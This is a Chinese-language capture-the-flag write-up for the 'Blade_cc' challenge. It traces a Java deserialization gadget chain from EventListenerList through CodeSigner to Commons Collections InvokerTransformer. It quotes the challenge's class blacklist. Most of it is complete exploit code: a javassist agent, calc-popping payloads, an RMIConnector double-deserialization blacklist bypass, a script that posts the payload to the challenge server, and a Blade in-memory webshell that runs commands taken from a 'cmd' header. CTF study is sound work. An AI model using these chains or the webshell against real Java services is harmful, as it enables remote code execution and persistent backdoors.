LilCTF Blade_cc
Contents
TransformedList触发transform
从EventListenerList#readObject触发toString开始
EventListenerList#readObject

这里调用了add方法

抛出异常,进行字符串的拼接,调用UndoManaget#toString

这里的limit和indexOfNextAdd都是int型
继续跟进来到CompoundEdit#toString

edits是Vector类型
protected Vector<UndoableEdit> edits;那么就会调用Vector#toString

跟进来到AbstractCollection,调用StringBuilder#append


然后调用obj.toString

那么通过Vector的add方法把CodeSigner添加进去就可以调用CodeSigner#toString

signerCertPath.getCertificates().get(0)

这里其实就是调用LazyList的get(0)
再看
List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));factory使用的是new ConstantFactory(chainedTransformer));
那么LazyList#get中的object就是chainedTransformer

然后来到TransformedList#set方法


最后来到InvokerTransform的transform

由于CertPath重写了writeReplace,这里用agent将其hook掉
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.security.cert.CertPath;
public class RemoveReplaceTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.equals("java/security/cert/CertPath")){
try {
System.out.println(true);
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("java.security.cert.CertPath");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.detach();
return ctClass.toBytecode();
}catch (Exception e){
System.out.println(e);;
}
}
return classfileBuffer;
}
}加上agent后,exp
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.ListOrderedMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;
public class CCExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, chainedTransformer);
List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(list2);
System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));
ByteArrayInputStream bin = new ByteArrayInputStream(bao.toByteArray());
new ObjectInputStream(bin).readObject();
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
}

最终调用栈如下:
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
transform:91, TransformedCollection (org.apache.commons.collections.collection)
set:121, TransformedList (org.apache.commons.collections.list)
get:112, LazyList (org.apache.commons.collections.list)
toString:159, CodeSigner (java.security)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:462, AbstractCollection (java.util)
toString:1000, Vector (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:258, CompoundEdit (javax.swing.undo)
toString:621, UndoManager (javax.swing.undo)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
add:187, EventListenerList (javax.swing.event)
readObject:277, EventListenerList (javax.swing.event)blade_cc
题目黑名单
String[] denyClasses = {"java.net.InetAddress", "sun.rmi.transport.tcp.TCPTransport", "sun.rmi.transport.tcp.TCPEndpoint", "sun.rmi.transport.LiveRef", "sun.rmi.server.UnicastServerRef", "sun.rmi.server.UnicastRemoteObject", "org.apache.commons.collections.map.TransformedMap", "org.apache.commons.collections.functors.ChainedTransformer", "org.apache.commons.collections.functors.InstantiateTransformer", "org.apache.commons.collections.map.LazyMap", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter", "org.apache.commons.collections.functors.ConstantTransformer", "org.apache.commons.collections.functors.MapTransformer", "org.apache.commons.collections.functors.FactoryTransformer", "org.apache.commons.collections.functors.InstantiateFactory", "org.apache.commons.collections.keyvalue.TiedMapEntry", "javax.management.BadAttributeValueExpException", "org.apache.commons.collections.map.DefaultedMap", "org.apache.commons.collections.bag.TreeBag", "org.apache.commons.collections.comparators.TransformingComparator", "org.apache.commons.collections.functors.TransformerClosure", "java.util.Hashtable", "java.util.HashMap", "java.net.URL", "com.sun.rowset.JdbcRowSetImpl", "java.security.SignedObject"};这里可以用上面的链子,RMIConnector二次反序列化绕过
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.ListOrderedMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;
public class BladeCC {
public static String getPayload() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = ctClass.toBytecode();
Object templates = getTemplates(bytes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, invokerTransformer );
List decorate = LazyList.decorate(decorate1, new ConstantFactory(templates));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(list2);
return Base64.getEncoder().encodeToString(bao.toByteArray());
}
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
ReflectTools.setFieldValue(jmxServiceURL, "urlPath", "/stub/"+getPayload());
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, invokerTransformer);
List decorate = LazyList.decorate(decorate1, new ConstantFactory(rmiConnector));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});
FileOutputStream fileOutputStream = new FileOutputStream("1.ser");
new ObjectOutputStream(fileOutputStream).writeObject(list2);
new N1ghtObjectInputStream(new FileInputStream("1.ser")).readObject();
}
public static Object getTemplates(byte[] byteCode) {
try {
Object templates = new TemplatesImpl();
ReflectTools.setFieldValue(templates, "_name", "n1ght");
ReflectTools.setFieldValue(templates, "_sdom", new ThreadLocal());
ReflectTools.setFieldValue(templates, "_tfactory", null);
ReflectTools.setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
return templates;
} catch (Exception var2) {
System.out.println("Error: " + var2);
return null;
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
}ReflectTools
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import sun.reflect.ReflectionFactory;
public class ReflectTools {
public ReflectTools() {
}
public static void setAccessible(AccessibleObject member) throws Exception {
member.setAccessible(true);
}
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
} catch (Exception var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Constructor<?> getFirstCtor(String name) throws Exception {
Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}
public static Object newInstance(String className, Object... args) throws Exception {
return getFirstCtor(className).newInstance(args);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T) sc.newInstance(consArgs);
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$EntAry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static Method getDeclaredMethod(Class clazz, String methodName, Class[] params) {
Method method = null;
while(clazz != null) {
try {
method = clazz.getDeclaredMethod(methodName, params);
method.setAccessible(true);
break;
} catch (NoSuchMethodException var5) {
clazz = clazz.getSuperclass();
}
}
return method;
}
public static Method getMethod(Class clazz, String methodName, Class[] params) {
Method method = null;
while(clazz != null) {
try {
method = clazz.getMethod(methodName, params);
break;
} catch (NoSuchMethodException var5) {
clazz = clazz.getSuperclass();
}
}
return method;
}
}这里反序列化的时候已经调用了N1ghtObjectInputStream#resolveClass,成功绕过黑名单弹计算器

由于环境不出网,还需要打blade内存马
exp
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.ListOrderedMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.CodeSigner;
import java.util.*;
import okhttp3.*;
public class BladeCC {
public static String getPayload() throws Exception{
// ClassPool pool = ClassPool.getDefault();
// CtClass ctClass = pool.makeClass("i");
// CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
// ctClass.setSuperclass(superClass);
// CtConstructor constructor = ctClass.makeClassInitializer();
// constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
// byte[] bytes = ctClass.toBytecode();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Project\\JavaSec\\CC1\\target\\classes\\CC\\List\\bladeshell.class"));
Object templates = getTemplates(bytes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, invokerTransformer );
List decorate = LazyList.decorate(decorate1, new ConstantFactory(templates));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(list2);
return Base64.getEncoder().encodeToString(bao.toByteArray());
}
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
ReflectTools.setFieldValue(jmxServiceURL, "urlPath", "/stub/"+getPayload());
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, invokerTransformer);
List decorate = LazyList.decorate(decorate1, new ConstantFactory(rmiConnector));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});
// FileOutputStream fileOutputStream = new FileOutputStream("1.ser");
// new ObjectOutputStream(fileOutputStream).writeObject(list2);
// new N1ghtObjectInputStream(new FileInputStream("1.ser")).readObject();
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(list2);
byte[] serializedBytes = bao.toByteArray();
OkHttpClient client = new OkHttpClient();
MediaType mediaType = MediaType.parse("application/octet-stream");
RequestBody body = RequestBody.create(mediaType, serializedBytes);
Request request = new Request.Builder()
.url("http://challenge.xinshi.fun:45235/challenge")
.post(body)
.build();
Response response = client.newCall(request).execute();
System.out.println("[+] Response: " + response.body().string());
}
public static Object getTemplates(byte[] byteCode) {
try {
Object templates = new TemplatesImpl();
ReflectTools.setFieldValue(templates, "_name", "n1ght");
ReflectTools.setFieldValue(templates, "_sdom", new ThreadLocal());
ReflectTools.setFieldValue(templates, "_tfactory", null);
ReflectTools.setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
return templates;
} catch (Exception var2) {
System.out.println("Error: " + var2);
return null;
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
}内存马
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import com.hellokaton.blade.Blade;
import com.hellokaton.blade.mvc.WebContext;
import com.hellokaton.blade.mvc.http.HttpMethod;
import com.hellokaton.blade.mvc.http.HttpResponse;
import com.hellokaton.blade.mvc.route.Route;
import com.hellokaton.blade.mvc.route.RouteMatcher;
import com.hellokaton.blade.mvc.ui.ResponseType;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.hellokaton.blade.mvc.http.Request;
public class bladeshell extends AbstractTranslet {
static {
try {
WebContext context = WebContext.get();
Blade blade = context.blade();
// 反射获取 routeMatcher
Field f = Blade.class.getDeclaredField("routeMatcher");
f.setAccessible(true);
RouteMatcher realMatcher = (RouteMatcher) f.get(blade);
// 构造你的 Route
Route route = Route.builder()
.httpMethod(HttpMethod.GET)
.path("/shell")
.target(new bladeshell())
.targetType(bladeshell.class)
.action(bladeshell.class.getDeclaredMethod("exp"))
.build();
Field field = Route.class.getDeclaredField("responseType");
field.setAccessible(true);
field.set(route, ResponseType.EMPTY);
Method addRoute = RouteMatcher.class.getDeclaredMethod("addRoute", Route.class);
addRoute.setAccessible(true);
addRoute.invoke(realMatcher, route);
Method register = RouteMatcher.class.getDeclaredMethod("register");
register.setAccessible(true);
register.invoke(realMatcher);
} catch (InvocationTargetException | NoSuchMethodException |
IllegalAccessException | NoSuchFieldException e) {
throw new RuntimeException(e);
}
}
public void exp() throws Exception{
WebContext context = WebContext.get();
HttpResponse response = (HttpResponse) context.getResponse();
Request request = context.getRequest();
String cmd = request.header("cmd");
Process process = Runtime.getRuntime().exec(cmd);
StringBuilder output = new StringBuilder();
try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errReader = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
while ((line = errReader.readLine()) != null) {
output.append(line).append("\n");
}
}
response.body(output.toString());
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}